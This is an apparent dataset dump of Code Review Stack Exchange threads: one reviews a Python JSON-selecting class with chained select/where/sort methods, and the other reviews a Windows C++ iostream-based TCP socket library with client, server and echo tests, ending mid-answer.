body stringlengths 25 86.7k | comments list | answers list | meta_data dict | question_id stringlengths 1 6 |
|---|---|---|---|---|
<p>I've created a simple little class called <code>JSONSelector</code> to be able to select relevant data from a JSON object (a <code>dict</code> in Python). Here's what I have so far - it's based off of a few SQL statements, NumPy methods, and JavaScript iterating methods:</p>
<pre><code>class JSONSelector:
def __init__(self, json):
self.json = json
def __str__(self):
return "{}({})".format(type(self).__name__, str(self.json))
__repr__ = __str__
def select(self, selectors):
if selectors == "*":
return type(self)(self.json)
else:
temp = {}
for sel in selectors:
temp[sel] = self.json.get(sel, None)
return type(self)(temp)
def where(self, cond):
temp = {}
for key, value in self.json.items():
if cond(key, value):
temp[key] = value
return type(self)(temp)
def astype(self, type_):
temp = {}
for key, value in self.json.items():
temp[key] = type_(value)
return JSONSelector(temp)
def sort(self, **kwargs):
return type(self)(dict(sorted(self.json.items(), **kwargs)))
def foreach(self, func):
for key, value in self.json.items():
if func(key, value) == False: break
def print(self, func=None):
if not func:
print(self)
return
else:
print(func(self))
return
</code></pre>
<p>Here's a test case with an explanation:</p>
<pre><code>a = JSONSelector({
"stuff": 5,
"seeded": 6,
"number": "7",
"more_stuff": 8
})
a.select("*") \ # Select all entries from the dict
.where(lambda key,value: type(value) is int) \ # Where the value is an integer
.sort(key=lambda x: x[1]) \ # Sort by the value
.astype(str) \ # Convert the values to type str
.foreach(lambda key, value: print(key + ": " + value)) # Loop over all entries
</code></pre>
<p>I'd like to know if any of my code is redundant, where I can shorten things up, and if anything is incorrect. Thank you in advance!</p>
| [] | [
{
"body": "<p>A few notes:</p>\n\n<p>Firstly, I would add some <em>docstrings</em> to each function to document what the expected behaviour is.</p>\n\n<p>In <code>select</code> when you're not doing any mutations (i.e. under the * case), it seems you could just return <code>self</code>. Is there any reason to make a new copy?</p>\n\n<p>In <code>select</code>, <code>where</code>, <code>astype</code> instead of creating a temporary dict, you could use a dict comprehension instead, example:</p>\n\n<pre><code>def where(self, cond):\n return type(self)({key: value for key, value in self.json.items() if cond(key, value)})\n</code></pre>\n\n<p>In <code>astype</code> you're using <code>JSONSelector</code>, however everywhere else you're using <code>type(self)</code> this should be consistent whichever one you go for.</p>\n\n<p><code>print</code> seems like an unnecessary function, but if you keep it the <code>return</code> lines have no effect.</p>\n\n<p>Hope that's helpful.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T03:30:11.220",
"Id": "430987",
"Score": "1",
"body": "Taking a copy (even without doing mutations) is how Django does things as well - as that way you can mutate one of the results without mutating the copy."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T04:26:29.053",
"Id": "430989",
"Score": "0",
"body": "@Shadow that makes sense and is consistent"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-19T19:55:52.860",
"Id": "222599",
"ParentId": "222597",
"Score": "4"
}
},
{
"body": "<p>Minor, but I'd expand your <code>foreach</code> a bit to make it clearer that <code>func</code> is a side-effect function that happens to return an indicator. In its current form, it looks like the function is only being run for the purpose of the condition.</p>\n\n<p>Something closer to:</p>\n\n<pre><code>def foreach(self, func):\n for key, value in self.json.items():\n should_continue = func(key, value)\n\n if should_continue == False:\n break\n</code></pre>\n\n<p>If you flipped the logic and had them return when they want to break instead though, you could make it read a little nicer:</p>\n\n<pre><code>def foreach(self, func):\n for key, value in self.json.items():\n should_break = func(key, value)\n\n if should_break:\n break\n</code></pre>\n\n<hr>\n\n<p>I'm not sure there's much benefit to using your <code>print</code> method. I believe it's convoluting the simple task of just passing the object to <code>print</code>. If the user wants to pass some function before printing, just let them do it.</p>\n\n<p>As an example, what intuitively makes more sense to you?:</p>\n\n<pre><code>json.print(str)\n</code></pre>\n\n<p>or</p>\n\n<pre><code>print(str(json))\n</code></pre>\n\n<p>Personally, I find the latter to make more sense.</p>\n\n<p>I'll also note, your <code>return</code>s in that function aren't necessary. You don't need an early return since the two paths of execution are exclusive from each other, and an implicit <code>return</code> happens at the end of the method anyway.</p>\n\n<p>Finally, I don't think negating the condition in <code>if not func</code> helps readability. I've read negating conditions makes them generally more difficult to understand, and I agree with that. I avoid negating a condition like that unless I really want a certain order of the bodies for aesthetic purposes. I'd write it as:</p>\n\n<pre><code>def print(self, func = None):\n if func:\n print(func(self))\n\n else:\n print(self)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-19T20:55:29.843",
"Id": "222602",
"ParentId": "222597",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "222602",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-19T18:00:42.183",
"Id": "222597",
"Score": "4",
"Tags": [
"python",
"json",
"iteration"
],
"Title": "JSON selector class in Python"
} | 222597 |
<p>So, I'm new to socket programming. I wanted to get started learning, and start making stuff, but was really surprised to find out there was no standard C++ network library yet. I'd have to look for a third party library, or make my own.</p>
<p>A third party library search turned up some solutions. Boost::Asio seemed to be the best. However, I wanted something that worked with iostream, similarly to fstream, but for networks. Boost::Asio didn't seem to really support that. Nor did any other library I found. Such a library might exist, but I didn't find it. So I decided to write one.</p>
<p>This, of course, meant I had to learn about making custom iostreams and about networking, 2 things at once. However, I dove in head first and decided to just take it all on. I don't recommend that, but I was up for the challenge.</p>
<p>Overall, I'm quite happy with the result. As far as I can tell, it works perfectly with iostreams, and has an interface similar to fstream, with networking tweaks. Okay, enough introduction.</p>
<p>The design of my Network Streams (as I have called them) is simple. There is a base class <code>NetworkStream</code> which inherits from <code>std::iostream</code>. This class handles all the stream style reading and writing. Most everything else is built off this.</p>
<p>Next is the <code>Client</code> class, which inherits from <code>NetworkStream</code> and handles connecting to a server. Once the connection is set, you can start using it like a regular stream.</p>
<p>Then there is a <code>Server</code>. This basically handles all the listening and has an <code>accept()</code> function that returns an individual connection. <code>Server</code> does not inherit from anything, since it merely serves as the matchmaker.</p>
<p>Finally, there is the <code>ServerSocket</code> class, which basically represents a single connection to a client. This is returned by <code>accept()</code>. The idea being that you have to accept a connection, and then start writing to that connection. Once you have this connection, you can write to it like any old stream.</p>
<p>That's basically all the main classes. There are some custom exceptions thrown in there, but that generally is it.</p>
<p>One thing I should mention about my design: I tried to make it as platform-independent as possible. That sounds crazy, given that socket writing is platform dependent by nature, but fortunately I think I was able to stuff all the platform dependent stuff in its own namespace/file. My thinking was originally that I could write all code platform independent except for some platform-dependent macros. This became messy, as all the macros eventually became spread all over the place, and then I needed to reuse some of them in different files, so there were multiple copies, and such. In the end, I reduced everything down to a simple file that has some inline functions (since macros are generally bad). It made the design much simpler, and, I think, platform independent except for that file. </p>
<p>Things I would like to get reviewed:</p>
<ul>
<li>Style. Make sure my code is up to par style-wise.</li>
<li>Platform independency: I know I <em>tried</em> to make it platform independent. However, trying and doing are two different things. I'm only on windows, so I haven't even tried porting to another platform yet. How easy do you think this is to port? Is there something that probably won't port well to a new platform, specifically linux?</li>
<li>Thread Safety: I'm on VS2010. As far as I'm aware, VS2010 doesn't have <code>#include <thread></code> or anything else that works with it like <code><atomic></code>. I looked into multi-threading in VS2010, and it doesn't look easy. Thus, I haven't even tried making sure this works well with multi-threading. To do that, I've decided I just need a new compiler that is fully C++11 compliant. In the mean time, I'd like someone with more experience to gauge of how thread-safe this code is, since threaded servers are used in the real world. <code>iostream</code> is supposedly thread-safe, so I'd imagine anything that inherits from it already has some safety built in, but I'm not going to assume that. How safe is this code?</li>
<li>Error reporting: I think my current error reporting is adequate, but not great. How can this be improved? </li>
<li>Efficiency: Specifically, <code>NetworkStream</code> uses a read size of 30 for its buffer. Ultimately, I'd like to make it adjustable. Even then, I'd need a default, though. So, I'll ask: what is a good reading buffer size for a stream like this? I've heard everything from 255 to like 1028. What is your recommendation?</li>
<li>API design: How can this design be improved? Is there anything I should add that most network APIs would support that is missing from here? I want to add UDP, and maybe RAW sockets in the future, but besides that, is there anything that stands out as missing?</li>
</ul>
<p>Overall, I think it's not bad, for a first pass at least. It does what it's supposed to. It could be more powerful and more flexible, but I think that's a project for the future.</p>
<p>One final thing about the nomenclature before I show my code: "ComputerBytez" is the name of my blog on which I hope to post this stream some day. I'm just putting it in its own namespace since I doubt it will conflict with anything. Plus, once my blog expands (as I'm still really new), having everything encased in a ComputerBytez namespace will just make life easier for readers.</p>
<p>"NetBytez" is just what I decided to call this little project, named after my blog with the stylized "bytez".</p>
<p>Okay, now finally, my code if you're still here:</p>
<p>NetworkStream.h:</p>
<pre><code>#pragma once
#include <iostream>
#include "Platform.h"
// so, this stream runs the basic reading and writing from the network,
// platform independently (except where specified in Platform.h), hopefully
namespace ComputerBytez {
namespace Socket {
// Special thanks to Cay S. Horstmann, who without this post: http://www.horstmann.com/cpp/iostreams.html
// I wouldn't be able to make any of this
class NetworkStream : public std::iostream {
public:
// constructors
NetworkStream(Platform::Socket socket);
virtual ~NetworkStream();
// other functions
// see if we are connected
bool Connected();
// class network streambuff
// should handle the actual writing
class NetworkBuff : public std::streambuf {
public:
NetworkBuff(Platform::Socket s);
void setSocket (Platform::Socket s);
Platform::Socket getSocket ();
// to detect connection
void setConnected(bool c);
bool getConnected();
protected:
// also, shoutout to PanGalactic from http://www.cplusplus.com/forum/general/38408/
// that post helped understand what this function is supposed to do
virtual std::streamsize xsputn(const char* buffer, std::streamsize size);
// Same shoutout as above
virtual std::streambuf::int_type underflow();
private:
Platform::Socket socket;
std::string inputbuffer; // a buffer for the input data
std::string outputbuffer; // a buffer for the output data
bool connected;
}; // end NetworkStream::NetworkBuf
protected:
// prevent copying
NetworkStream(const NetworkStream&);
void operator=(const NetworkStream&);
// internal function to set the state of connected if we need to
void setConnected(bool c);
// internal functions to manipulate our socket.
void setSocket(Platform::Socket socket);
Platform::Socket getSocket();
}; // end network stream
};
}; // end namespace computerbytez
</code></pre>
<p>NetworkStream.cpp:</p>
<pre><code>#include "NetworkStream.h"
#include "Exceptions.h"
#include "Platform.h"
// Platform independent except for everything in Platform.h
namespace ComputerBytez {
namespace Socket {
// class network streambuff
// should handle the actual writing
//constructor
NetworkStream::NetworkBuff::NetworkBuff(Platform::Socket s) {
socket = s;
connected = true; // assume we are connected until told otherwise. If we get disconnected, we can log it.
}
// socket setter
void NetworkStream::NetworkBuff::setSocket(Platform::Socket s) {
socket = s;
}
// socket getter
Platform::Socket NetworkStream::NetworkBuff::getSocket() {
return socket;
}
// to detect connection
void NetworkStream::NetworkBuff::setConnected(bool c) {
connected = c;
}
bool NetworkStream::NetworkBuff::getConnected() {
return connected;
}
std::streamsize NetworkStream::NetworkBuff::xsputn(const char* buffer, std::streamsize size) {
// well, let's send the data
int result = Platform::Send(socket,buffer,static_cast<int>(size));
// set up the buffer:
outputbuffer = buffer;
// if that didn't work, throw an error
if(result == Platform::States::SocketError) {
if (Platform::LastError() == Platform::States::Disconnect) {
connected = false;
}
throw(Exceptions::SocketIOError("send"));// Platform::LastError());
}
// NOTE: I realized after I wrote this that this throw may be useless,
// since I think iostream catches any errors thrown at this level, but
// just in case
// set up the pointer
if(outputbuffer.size()==0) {
// do nothing. Probably throw an error in the future
//setp(&outputbuffer[0],&outputbuffer[0],&outputbuffer[0]);
} else {
setp(&outputbuffer[0],&outputbuffer[0],&outputbuffer[outputbuffer.size()-1]);
}
// now return the size
return size;
}
// Shoutout to http://www.voidcn.com/article/p-vjnlygmc-gy.html where I found out
// how to do this proper
std::streambuf::int_type NetworkStream::NetworkBuff::underflow() {
const int readsize = 30;
// first, check to make sure the buffer is not exausted:
if(gptr() < egptr()) {
return traits_type::to_int_type(*gptr());
}
// Now, let's read...
// clear the buffer
inputbuffer.clear();
inputbuffer.resize(readsize+1); // +1 is to give our selves room to keep from crashing. Not a good solution, but it works, so...
// let's read
int bytesread = Platform::Recv(socket,&inputbuffer[0],static_cast<int>(readsize));
// return the end of file if we read no bytes
if(bytesread == 0) {
return traits_type::eof();
}
if(bytesread <0) {
// do nothing right now. Throw an error maybe. Maybe return eof. Perhaps this
// object should be smart enough to hold its own error state that is more useful
// so we can detect things like disconnect. For now, we're just gonna return eof
connected = false;
return traits_type::eof();
}
// set the pointers for the buffer...
setg(&inputbuffer[0],&inputbuffer[0],&inputbuffer[bytesread]);
// finally, let's return the data type
return traits_type::to_int_type(*gptr());
}
// network stream constructors/destructor
NetworkStream::NetworkStream(Platform::Socket socket) : std::iostream(new NetworkBuff(socket)), std::ios(0) {}
NetworkStream::~NetworkStream() {delete rdbuf();}
void NetworkStream::setSocket(Platform::Socket socket) {
static_cast<NetworkBuff *>(rdbuf())->setSocket(socket);
}
Platform::Socket NetworkStream::getSocket() {
return static_cast<NetworkBuff *>(rdbuf())->getSocket();
}
void NetworkStream::setConnected(bool c) {
static_cast<NetworkBuff *>(rdbuf())->setConnected(c);
}
bool NetworkStream::Connected() {
return static_cast<NetworkBuff *>(rdbuf())->getConnected();
}
}; // end namespace Socket
}; // end namespace ComputerBytez
</code></pre>
<p>Platform.h:</p>
<pre><code>/* Basically a way to put all the platform dependent stuff in one place.
* My hope is that everything that is platform dependent makes its way into this module somehow
* That way, porting to a new platform is as simple as adding #ifdefs to this file and/or its cpp
*/
#pragma once
// first, the includes
#ifdef _WIN32
// includes
#include <WinSock2.h>
#include <Windows.h>
#include <WS2tcpip.h>
// and, of course, we need to link:
#pragma comment(lib,"Ws2_32.lib")
#else
#error "Unknown target/platform. You must be using this on a platform it's not built for. Please use on a different platform or consider contributing to extend this"
#endif
namespace ComputerBytez {
namespace Socket {
namespace Platform {
// now the implementation.
// Since I decided to make these guys inline (thoughts on that?), it didn't make sense to
// necessarily create prototypes for them since I have to have the implementation in this header anyway. Also, I'm not
// sure that the prototypes are platform-independent, so I can't have these outside a platform-dependent block (I think)
// So, I decided to just make 1 block and put the implementations next to the prototypes. I do recognize, now that I think
// about it, that it might be nice to still have the prototypes, even if they are platform dependent all in one place
// So, I'll just ask: does anyone have any input on which is best?
#ifdef _WIN32
typedef SOCKET Socket;
typedef struct addrinfo Info;
namespace States {
extern long Disconnect;
extern int SocketError;
extern unsigned int InvalidSocket;
}; // end namespace states
namespace Protocol {
extern int TCP;
};
// init and cleanup
inline void Init() {
WSADATA wsaData;
int result = WSAStartup(MAKEWORD(2,2), &wsaData);
if(result != 0) throw ("Winsock startup failed");
}
inline void Cleanup() {
WSACleanup();
}
// reading and writing
inline int _stdcall Send(Socket sock, const char * buf, int len) {
return send(sock,buf,len,0);
}
inline int _stdcall Recv(Socket sock, char* buf, int len) {
return recv(sock,buf,len,0);
}
// creating a socket
inline Socket _stdcall CreateSocket(int af, int type, int protocol) {
return socket(af,type,protocol);
}
// closing the socket
inline int _stdcall CloseSocket(Socket s) {
return closesocket(s);
}
// client stuff
inline Info GetClientHints(int protocol) {
Info hints;
// first, let's zero out the struct
ZeroMemory(&hints, sizeof(hints));
// now, initialize the data we're planning on using
hints.ai_family = AF_UNSPEC; // for now
// detect TCP vs UDP
if(protocol == Protocol::TCP) {
hints.ai_socktype = SOCK_STREAM;
}
// and of course, the protocol will be the same
hints.ai_protocol = protocol;
return hints;
}
inline int _stdcall Connect(Socket sock, const sockaddr* name, int namelen) {
return connect(sock,name,namelen);
}
// server stuff
inline Socket _stdcall Accept(Socket s) {
return accept(s, NULL, NULL);
}
inline int _stdcall Listen(Socket s, int back=SOMAXCONN) {
return listen(s,back);
}
inline int _stdcall Bind(Socket s, const sockaddr* name, int namelen) {
return bind(s,name,namelen);
}
inline Info GetServerHints(int protocol) {
Info hints;
// first, let's zero out the struct
ZeroMemory(&hints, sizeof(hints));
// now, initialize the data we're planning on using
hints.ai_family = AF_INET; // for now
// detect TCP vs UDP
if(protocol == Platform::Protocol::TCP) {
hints.ai_socktype = SOCK_STREAM;
}
// and of course, the protocol will be the same
hints.ai_protocol = protocol;
hints.ai_flags = AI_PASSIVE;
return hints;
}
inline INT _stdcall GetInfo(PCSTR NodeName,PCSTR ServiceName,Info* hints,Info** result) {
return getaddrinfo(NodeName, ServiceName, hints, result);
}
inline void _stdcall FreeInfo(Info* i) {
return freeaddrinfo(i);
}
// get error
inline int _stdcall LastError() {
return WSAGetLastError();
}
#else
#error "Unknown target/platform. You must be using this on a platform it's not built for. Please use on a different platform or consider contributing to extend this"
#endif
}; // end namespace Platform
}; // end namespace Socket
}; // end namespace ComputerBytez
</code></pre>
<p>Platform.cpp</p>
<pre><code>/* Basically a way to put all the platform dependent stuff in one place.
* My hope is that everything that is platform dependent makes its way into this module somehow
* That way, porting to a new platform is as simple as adding #ifdefs to this file and/or its cpp
*/
#include "Platform.h"
namespace ComputerBytez {
namespace Socket {
namespace Platform {
#ifdef _WIN32
namespace States {
long Disconnect = WSAENOTCONN;
int SocketError = SOCKET_ERROR;
unsigned int InvalidSocket = INVALID_SOCKET;
}; // end namespace states
namespace Protocol {
int TCP = IPPROTO_TCP;
};
#endif
}; // end namespace Platform
}; // end namespace Socket
}; // end namespace ComputerBytez
</code></pre>
<p>Client.h</p>
<pre><code>#include "NetworkStream.h"
#include "Protocol.h"
namespace ComputerBytez {
namespace Socket {
class ClientSocket : public NetworkStream {
public:
void Connect(std::string addr, std::string p, int protocol = Protocol::TCP);
void disconnect();
ClientSocket(std::string addr, std::string por, int pro = Protocol::TCP);
~ClientSocket();
private:
std::string ServerAddress;
std::string port;
}; // end ClientSocket
}; // end namespace socket
}; // end namespace computerbytez
</code></pre>
<p>Client.cpp</p>
<pre><code>#include "Client.h"
#include "Exceptions.h"
namespace ComputerBytez {
namespace Socket {
void ClientSocket::Connect(std::string addr, std::string p, int protocol) {
ServerAddress = addr;
port = p;
Platform::Socket sock = Platform::States::InvalidSocket; // a tmp sock
int connectresult;
// so, some setup vars
Platform::Info *result = NULL; // a result
Platform::Info hints = Platform::GetClientHints(protocol); // and an initial struct
Platform::Info * ptr = NULL; // a loop variable
// try to get host and port
connectresult = Platform::GetInfo(ServerAddress.c_str(), port.c_str(), &hints, &result);
// if we failed, throw an error
if(connectresult != 0) throw(Exceptions::NoRouteToHost());
// now, let's attempt to connect
for(ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// create a socket
sock = Platform::CreateSocket(ptr->ai_family,ptr->ai_socktype,ptr->ai_protocol);
if(sock == Platform::States::InvalidSocket) throw(Exceptions::SocketCreationError());
// now the actual actual connection attempt
connectresult = Platform::Connect(sock,ptr->ai_addr,static_cast<int>(ptr->ai_addrlen));
// if we were unsuccessful
if(connectresult == Platform::States::SocketError) {
Platform::CloseSocket(sock);
sock = Platform::States::InvalidSocket;
continue;
}
break;
}
// free some data we created
Platform::FreeInfo(result);
// if the connection was unsuccessful, throw another error
if(sock == Platform::States::InvalidSocket) throw (Exceptions::ConnectionFailed());
// if we've made it here, congratulations! We've connected. one final thing before we go, set up the socket so we can read/write
NetworkStream::setSocket(sock);
// and know that our connection is sucessful
setConnected(true);
}
void ClientSocket::disconnect() {
if(Connected() && NetworkStream::getSocket() != Platform::States::InvalidSocket) {
Platform::CloseSocket(NetworkStream::getSocket());
// and of course, we're disconnected, so...
setConnected(false);
}
}
ClientSocket::ClientSocket(std::string addr, std::string por, int pro) : NetworkStream(0) {
setConnected(false);
Connect(addr, por, pro);
}
ClientSocket::~ClientSocket() {disconnect();}
}; // end namespace socket
}; // end namespace computerbytez
</code></pre>
<p>Protocol.h</p>
<pre><code>#pragma once
// Originally designed before Platform::Protocol. It was to initially to do Platform::Protocol's job,
// and hold the platform dependent identification of the protocols.
// After making Platform::Protocol, I liked that everything platform related was in one place, yet I also thought Socket::Protocol
// was more understandable name wise. Plus, I had already used Socket::Protocol in code, and since I didn't want the main level to
// ever see the Platform Namespace unless necessary anyway, I decided to keep both. I moved the implelmentation to Platform::Protocol, and
// basically made this another name for it I suppose I could use namespace Platform::Protocol here instead. That might work. Thoughts?
namespace ComputerBytez {
namespace Socket {
namespace Protocol {
extern int TCP;
}; // end namespace Protocol
}; // end namespace Socket
}; // end namespace ComputerBytez
</code></pre>
<p>Protocol.cpp</p>
<pre><code>#include "Protocol.h"
#include "Platform.h"
// Platform independent except for everything in Platform.h
namespace ComputerBytez {
namespace Socket {
namespace Protocol {
int TCP = Platform::Protocol::TCP;
}; // end namespace Protocol
}; // end namespace Socket
}; // end namespace ComputerBytez
</code></pre>
<p>Server.h</p>
<pre><code>#include "NetworkStream.h"
#include "ServerSocket.h"
#include "Protocol.h"
namespace ComputerBytez {
namespace Socket {
class Server {
private:
// linda, linda, listen to me, listen to me!
Platform::Socket ListenSocket; // the socket we're listening on
std::string port;
bool listening;
// prevent copying
// if anyone wants to chime in on how I can allow copying, let me know
// for now, I'm going to prevent it, so the listen socket doesn't get closed
// accidently due to copying and destructors executing when I don't want them
Server(const Server& other);
void operator=(Server& other);
public:
// contructors and destructors
Server();
Server(std::string p, int protocol = Protocol::TCP);
bool isListening() const;
void StartListen(std::string p, int protocol = Protocol::TCP);
void StopListen();
~Server();
ServerSocket AcceptConnection();
};
}; // end namespace socket
}; // end namespace computerbytez
</code></pre>
<p>Server.cpp</p>
<pre><code>#include "Server.h"
#include "Exceptions.h"
namespace ComputerBytez {
namespace Socket {
bool Server::isListening() const { return listening; }
void Server::StartListen(std::string p, int protocol) {
port = p;
int connectresult;
Platform::Info *result = 0; // a result
Platform::Info hints = Platform::GetServerHints(protocol); // and an initial struct
// try to get host and port
connectresult = Platform::GetInfo(NULL, port.c_str(), &hints, &result);
// if we failed, throw an error
if(connectresult != 0) throw(Exceptions::NoRouteToHost());
ListenSocket = Platform::CreateSocket(result->ai_family,result->ai_socktype,result->ai_protocol);
if(ListenSocket == Platform::States::InvalidSocket) {
Platform::FreeInfo(result);
throw(Exceptions::SocketCreationError());
}
// now the bind attempt
connectresult = Platform::Bind(ListenSocket,result->ai_addr,static_cast<int>(result->ai_addrlen));
// if we were unsuccessful
if(connectresult == Platform::States::SocketError) {
Platform::FreeInfo(result);
Platform::CloseSocket(ListenSocket);
throw(Exceptions::BindFailed());
}
Platform::FreeInfo(result);
// listen time
connectresult = Platform::Listen(ListenSocket);
// if we were unsuccessful
if(connectresult == Platform::States::SocketError) {
Platform::CloseSocket(ListenSocket);
throw(Exceptions::ListenFailed());
}
listening = true;
}
void Server::StopListen() {
// only stop listening if we have a valid socket
if(ListenSocket != Platform::States::InvalidSocket) {
Platform::CloseSocket(ListenSocket);
// now invalidate the socket
ListenSocket = Platform::States::InvalidSocket;
}
// regardless, we are not listening
listening = false;
}
// contructors and destructors
Server::Server() {
ListenSocket = Platform::States::InvalidSocket;
listening = false;
}
Server::Server(std::string p, int protocol) {
ListenSocket = Platform::States::InvalidSocket;
listening = false;
StartListen(p,protocol);
}
Server::~Server() {
// stop listening
StopListen();
}
// This is platform independent
ServerSocket Server::AcceptConnection() {
Platform::Socket s = Platform::States::InvalidSocket;
s = Platform::Accept(ListenSocket);
if(s == Platform::States::InvalidSocket) {
Platform::CloseSocket(ListenSocket);
throw (Platform::LastError());
//throw ("Invalid accept");
}
return ServerSocket(s);
}
}; // end namespace socket
}; // end namespace computerbytez
</code></pre>
<p>ServerSocket.h</p>
<pre><code>#include "NetworkStream.h"
// Platform independent except for everything in Platform.h
// this class is so small, I'm not sure if it is worth putting into its own cpp.
// I don't want it to conflict if it's accident;y included multiple times, though, so I may have to
// #pragma once could do the trick. Thoughts?
namespace ComputerBytez {
namespace Socket {
class ServerSocket : public NetworkStream {
public:
ServerSocket(Platform::Socket s) : NetworkStream(s) {
}
~ServerSocket() {
if(NetworkStream::getSocket() != Platform::States::InvalidSocket) {
Platform::CloseSocket(NetworkStream::getSocket());
}
}
};
};
}; // end namespace computerbytez
</code></pre>
<p>Exceptions.h</p>
<pre><code>#include <exception>
#include <string>
// Platform independent except for everything in Platform.h
#pragma once
// client exceptions
namespace ComputerBytez {
namespace Socket {
namespace Exceptions {
class NoRouteToHost : public std::exception {
public:
virtual const char* what() {
return "Could not resolve host or port";
}
};
class ConnectionFailed : public std::exception {
public:
virtual const char* what() {
return "Unable to connect to host";
}
};
class BindFailed : public std::exception {
public:
virtual const char* what() {
return "Bind failed";
}
};
class ListenFailed : public std::exception {
public:
virtual const char* what() {
return "Listen failed";
}
};
class SocketCreationError : public std::exception {
public:
virtual const char* what() {
return "Socket creation failed";
}
};
// io errors
class SocketIOError : public std::exception {
private:
std::string type;
public:
SocketIOError(std::string t) : type(t) {}
virtual const char* what() {
return ("Socket encouneted a " + type + "error from the socket").c_str();
}
};
}; // end namespace Exceptions
}; // end namespace Socket
}; // end namespace ComputerBytez
</code></pre>
<p>NetBytez.h</p>
<pre><code>#include "Server.h"
#include "Client.h"
// Platform independent except for what's in Platform.h
namespace ComputerBytez {
namespace Socket {
// some intialization functions
void Init ();
void Cleanup();
}; // end namespace Socket
}; // end namespace ComputerBytez
namespace NetBytez {
// NetBytez is a shortcut for the computerbytez socket namespace
using namespace ComputerBytez::Socket;
};
</code></pre>
<p>NetBytez.cpp</p>
<pre><code>#include "NetBytez.h"
#include "Platform.h"
// Platform independent except for what's in Platform.h
namespace ComputerBytez {
namespace Socket {
// some intialization functions
void Init () {
Platform::Init();
}
void Cleanup() {
Platform::Cleanup();
}
}; // end namespace Socket
}; // end namespace ComputerBytez
</code></pre>
<p>Now some testing code:</p>
<p>TestServer.cpp</p>
<pre><code>#include "NetBytez.h"
#include <string>
int main() {
std::string input = "";
NetBytez::Init();
try {
NetBytez::Server server("3500", NetBytez::Protocol::TCP);
//server.StartListen("3500", NetBytez::Protocol::TCP);
if(server.isListening()) {
std::cout << "Listening on port 3500" << "\n";
}
auto conn = server.AcceptConnection();
std::cout << "Accepted connection on port 3500" << "\n";
// system("pause");
while(conn.Connected()) {
input.clear();
// read input from the connection
getline(conn, input);
std::cout << "Recieved data. Echoing..." << "\n";
std::cout << "Input: \"" << input << "\"\n";
// echo it back
conn << input + '\n';
// std::cout << "Input: \"" << input << "\"\n";
}
} catch (char * exception) {
std::cout << "Error! \"" << exception << "\"\n";
} catch (int exception) {
std::cout << "Error code: \"" << exception << "\"\n";
}
NetBytez::Cleanup();
system("pause");
return 0;
}
</code></pre>
<p>TestClient.cpp</p>
<pre><code>#include <iostream>
#include <string>
#include "NetBytez.h"
using namespace std;
int main() {
NetBytez::Init();
NetBytez::ClientSocket client("127.0.0.1","3500");
std::string input;
while(true) {
input.clear();
getline(cin,input);
client << input + '\n';
// input = "";
getline(client, input);
cout << "Got response \"" << input << "\"\n";
}
NetBytez::Cleanup();
return 0;
}
</code></pre>
<p>This is a minimal client and server that simply echo data back and forth to make sure that the streams work as intended.</p>
<p>Anyway, after posting this, it made me realize just how much code I have. If anyone has reduction suggestions, that would be appreciated too!</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T12:23:00.913",
"Id": "431028",
"Score": "0",
"body": "If you can upgrade to at least VS 2015, VS 2010 doesn't even fully support C++11."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T13:18:42.470",
"Id": "431038",
"Score": "0",
"body": "Yeah. It supports enough to do most C++11 things. Like I said, I'm gonna get a new compiler eventually"
}
] | [
{
"body": "<p>I tried to compile it in Visual Studio 2019.\nI got several warnings and 1 error.</p>\n<p>I would recommend the following change to the SocketIOError class because the what function caused a warning:</p>\n<pre><code>class SocketIOError : public std::exception {\n private:\n std::string type;\n std::string msg;\n public:\n SocketIOError(std::string t) : type(t) {}\n\n virtual const char* what()\n {\n msg = "Socket encouneted a " + type + "error from the socket";\n return msg.c_str();\n }\n};\n</code></pre>\n<p>I would also recommend to change the type of InvalidSocket from unsigned int to Socket. That way it doesn't generate a warning when compiled for 64 bits.</p>\n<p>In the function Server::AcceptConnection() I get an delete function error (E1776) on the statement</p>\n<pre><code>return ServerSocket(s);\n</code></pre>\n<p>At the moment I don't know what to do about that but I think it is caused by the NetworkStream class that prevents copying.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-30T14:35:44.440",
"Id": "515881",
"Score": "0",
"body": "It was clearly mentioned that the code was written using Visual Studio 2010. That limits it to C++11."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-30T15:04:48.323",
"Id": "515887",
"Score": "0",
"body": "Also, copying an exception should not ever throw."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-30T11:49:50.143",
"Id": "261419",
"ParentId": "222606",
"Score": "2"
}
},
{
"body": "<h1>Naming things</h1>\n<p>There are several ways in which you can improve the way you name things. For example, don't do unnecessary abbreviations. Why <code>NetworkBuff</code> instead of <code>NetworkBuffer</code>? If you do want to abbreviate, make sure you do it the same way as other things do. For example, as you've already seen, the standard library provides <code>std::streambuf</code>, so <code>NetworkBuf</code> might be a better choice.</p>\n<p>Also avoid repeating yourself. For example, <code>NetworkStream::NetworkBuff</code> has <code>Network</code> in it twice, and similarly there is <code>Socket::Platform::Socket</code>, <code>Socket::ClientSocket</code> and so on. You use <code>namespace</code>s a lot, maybe some, like <code>Socket</code>, are just not necessary. Or alternatively, rename <code>Socket</code> to <code>Network</code>, and rename <code>NetworkStream</code> to <code>Stream</code>.</p>\n<p>Also try to be consistent. Consider these two member functions of <code>ClientSocket</code>:</p>\n<pre><code>void Connect(std::string addr, std::string p, int protocol = Protocol::TCP);\nClientSocket(std::string addr, std::string por, int pro = Protocol::TCP);\n</code></pre>\n<p>Why is the port named <code>por</code> in the constructor, but <code>p</code> in <code>Connect()</code>? Why <code>protocol</code> and <code>pro</code>? Again, don't needlessly abbreviate, as it is hard to see from just <code>p</code> that you mean <code>port</code>, and having both <code>por</code> and <code>pro</code> is confusing and a potential source of mistakes.</p>\n<p>Also be consistent with the <a 